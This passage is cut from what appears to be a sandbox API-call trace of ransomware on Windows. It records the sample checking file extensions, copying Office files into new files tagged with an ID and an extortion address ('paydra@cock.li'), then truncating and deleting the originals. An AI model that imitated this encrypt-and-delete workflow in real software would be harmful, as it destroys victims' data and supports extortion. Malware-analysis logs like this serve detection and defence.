Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.587] lstrlenW (lpString=".jpg") returned 4 [0041.587] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.587] lstrlenW (lpString=".doc") returned 4 [0041.587] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString=".docx") returned 5 [0041.587] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.587] lstrlenW (lpString=".pdf") returned 4 [0041.587] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString=".xls") returned 4 [0041.587] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString=".xlsx") returned 5 [0041.588] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.588] lstrlenW (lpString=".ppt") returned 4 [0041.588] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.588] lstrlenW (lpString=".zip") returned 4 [0041.588] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.588] lstrlenW (lpString=".rar") returned 4 [0041.588] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.588] lstrlenW (lpString=".bz2") returned 4 [0041.588] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.588] lstrlenW (lpString=".7z") returned 3 [0041.588] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.588] lstrlenW (lpString=".dbf") returned 4 [0041.588] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.588] lstrlenW (lpString=".1cd") returned 4 [0041.588] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.588] lstrlenW (lpString=".jpg") returned 4 [0041.588] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.588] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.588] lstrlenW (lpString="WordMUI.XML") returned 11 [0041.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.589] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1800) returned 1 [0041.589] CloseHandle (hObject=0x188) returned 1 [0041.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0041.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.589] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.589] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0041.591] GetLastError () returned 0x0 [0041.591] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x708, lpOverlapped=0x0) returned 1 [0041.593] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x710, lpOverlapped=0x0) returned 1 [0041.594] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.594] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.594] SetEndOfFile (hFile=0x218) returned 1 [0041.594] CloseHandle (hObject=0x218) returned 1 [0041.595] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.595] SetEndOfFile (hFile=0x188) returned 1 [0041.596] CloseHandle (hObject=0x188) returned 1 [0041.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.596] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0041.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.596] lstrlenW (lpString=".doc") returned 4 [0041.596] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.596] lstrlenW (lpString=".docx") returned 5 [0041.596] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.596] lstrlenW (lpString=".pdf") returned 4 [0041.596] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.596] lstrlenW (lpString=".xls") returned 4 [0041.596] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString=".xlsx") returned 5 [0041.597] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.597] lstrlenW (lpString=".ppt") returned 4 [0041.597] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.597] lstrlenW (lpString=".zip") returned 4 [0041.597] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.597] lstrlenW (lpString=".rar") returned 4 [0041.597] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString=".bz2") returned 4 [0041.597] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString=".7z") returned 3 [0041.597] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.597] lstrlenW (lpString=".dbf") returned 4 [0041.597] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.597] lstrlenW (lpString=".1cd") returned 4 [0041.597] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.597] lstrlenW (lpString=".jpg") returned 4 [0041.597] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.597] lstrlenW (lpString=".doc") returned 4 [0041.597] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString=".docx") returned 5 [0041.597] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.597] lstrlenW (lpString=".pdf") returned 4 [0041.597] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString=".xls") returned 4 [0041.597] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.597] lstrlenW (lpString=".xlsx") returned 5 [0041.597] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.598] lstrlenW (lpString=".ppt") returned 4 [0041.598] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.598] lstrlenW (lpString=".zip") returned 4 [0041.598] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.598] lstrlenW (lpString=".rar") returned 4 [0041.598] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.598] lstrlenW (lpString=".bz2") returned 4 [0041.598] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.598] lstrlenW (lpString=".7z") returned 3 [0041.598] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.598] lstrlenW (lpString=".dbf") returned 4 [0041.598] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.598] lstrlenW (lpString=".1cd") returned 4 [0041.598] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0041.598] lstrlenW (lpString=".jpg") returned 4 [0041.598] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.598] lstrcmpiW (lpString1=".HTM", lpString2=".html") returned -1 [0041.598] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0041.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.602] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=11463) returned 1 [0041.602] CloseHandle (hObject=0x188) returned 1 [0041.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0041.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.602] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.602] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0041.689] GetLastError () returned 0x0 [0041.689] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0042.120] WriteFile (in: hFile=0x1c8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0042.121] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0042.121] WriteFile (in: hFile=0x1c8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.121] SetEndOfFile (hFile=0x1c8) returned 1 [0042.121] CloseHandle (hObject=0x1c8) returned 1 [0042.121] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.121] SetEndOfFile (hFile=0x188) returned 1 [0042.122] CloseHandle (hObject=0x188) returned 1 [0042.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0042.122] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.123] lstrlenW (lpString=".doc") returned 4 [0042.123] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0042.123] lstrlenW (lpString=".docx") returned 5 [0042.123] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0042.123] lstrlenW (lpString=".pdf") returned 4 [0042.123] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0042.123] lstrlenW (lpString=".xls") returned 4 [0042.123] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0042.123] lstrlenW (lpString=".xlsx") returned 5 [0042.123] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0042.123] lstrlenW (lpString=".ppt") returned 4 [0042.123] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.123] lstrlenW (lpString=".zip") returned 4 [0042.123] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0042.123] lstrlenW (lpString=".rar") returned 4 [0042.123] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0042.123] lstrlenW (lpString=".bz2") returned 4 [0042.123] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0042.123] lstrlenW (lpString=".7z") returned 3 [0042.123] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.123] lstrlenW (lpString=".dbf") returned 4 [0042.123] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.123] lstrlenW (lpString=".1cd") returned 4 [0042.123] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.123] lstrlenW (lpString=".jpg") returned 4 [0042.123] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.124] lstrlenW (lpString=".doc") returned 4 [0042.124] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0042.124] lstrlenW (lpString=".docx") returned 5 [0042.124] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0042.124] lstrlenW (lpString=".pdf") returned 4 [0042.124] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0042.124] lstrlenW (lpString=".xls") returned 4 [0042.124] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0042.124] lstrlenW (lpString=".xlsx") returned 5 [0042.124] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0042.124] lstrlenW (lpString=".ppt") returned 4 [0042.124] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0042.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.124] lstrlenW (lpString=".zip") returned 4 [0042.124] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0042.124] lstrlenW (lpString=".rar") returned 4 [0042.124] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0042.124] lstrlenW (lpString=".bz2") returned 4 [0042.124] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0042.124] lstrlenW (lpString=".7z") returned 3 [0042.124] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0042.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.124] lstrlenW (lpString=".dbf") returned 4 [0042.124] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0042.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.124] lstrlenW (lpString=".1cd") returned 4 [0042.124] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0042.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0042.124] lstrlenW (lpString=".jpg") returned 4 [0042.124] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0042.125] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0042.125] lstrlenW (lpString="PHONE.XML") returned 9 [0042.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0042.483] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1844) returned 1 [0042.483] CloseHandle (hObject=0x214) returned 1 [0042.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0042.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0042.483] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.483] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.484] GetLastError () returned 0x0 [0042.484] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x734, lpOverlapped=0x0) returned 1 [0042.637] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x740, lpOverlapped=0x0) returned 1 [0042.637] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0042.637] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.638] SetEndOfFile (hFile=0x1e8) returned 1 [0042.638] CloseHandle (hObject=0x1e8) returned 1 [0042.638] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.638] SetEndOfFile (hFile=0x214) returned 1 [0042.638] CloseHandle (hObject=0x214) returned 1 [0042.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0042.639] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0042.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.639] lstrlenW (lpString=".doc") returned 4 [0042.639] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.639] lstrlenW (lpString=".docx") returned 5 [0042.639] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0042.639] lstrlenW (lpString=".pdf") returned 4 [0042.639] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.639] lstrlenW (lpString=".xls") returned 4 [0042.639] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.639] lstrlenW (lpString=".xlsx") returned 5 [0042.639] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0042.639] lstrlenW (lpString=".ppt") returned 4 [0042.639] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.639] lstrlenW (lpString=".zip") returned 4 [0042.639] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.639] lstrlenW (lpString=".rar") returned 4 [0042.639] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.639] lstrlenW (lpString=".bz2") returned 4 [0042.640] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString=".7z") returned 3 [0042.640] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0042.640] lstrlenW (lpString=".dbf") returned 4 [0042.640] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 